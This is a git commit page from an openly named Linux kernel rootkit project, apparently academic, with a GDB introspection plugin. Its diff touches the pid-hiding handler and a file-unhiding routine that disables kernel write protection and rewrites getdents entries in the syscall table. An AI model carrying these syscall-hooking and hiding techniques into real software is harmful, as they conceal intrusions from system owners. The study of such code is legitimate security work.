linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit ac0b5d4fef3541be68fe16ca15f3c3faa91e8067
parent 37b32cd21e4f14a2d17abaf13fea9df613bad36e
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 14:16:26 +0100

refactors code

Diffstat:
Msrc/channel.c | 2+-
Msrc/filehide.c | 4++--
2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -149,7 +149,7 @@ handle_hidepid(unsigned long arg) DEBUG_NOTICE("hidepid on\n"); rootkit.hiding_pids = 1; - DEBUG_NOTICE("hiding pid %ld\n", -sarg); + DEBUG_NOTICE("hiding pid %ld\n", sarg); } return 0; diff --git a/src/filehide.c b/src/filehide.c @@ -26,15 +26,15 @@ unhide_files(void) if (sys_getdents) { disable_protection(); sys_calls[__NR_getdents] = (void *)sys_getdents; - while (atomic_read(&getdents_count) > 0); enable_protection(); + while (atomic_read(&getdents_count) > 0); } if (sys_getdents64) { disable_protection(); sys_calls[__NR_getdents64] = (void *)sys_getdents64; - while (atomic_read(&getdents64_count) > 0); enable_protection(); + while (atomic_read(&getdents64_count) > 0); } }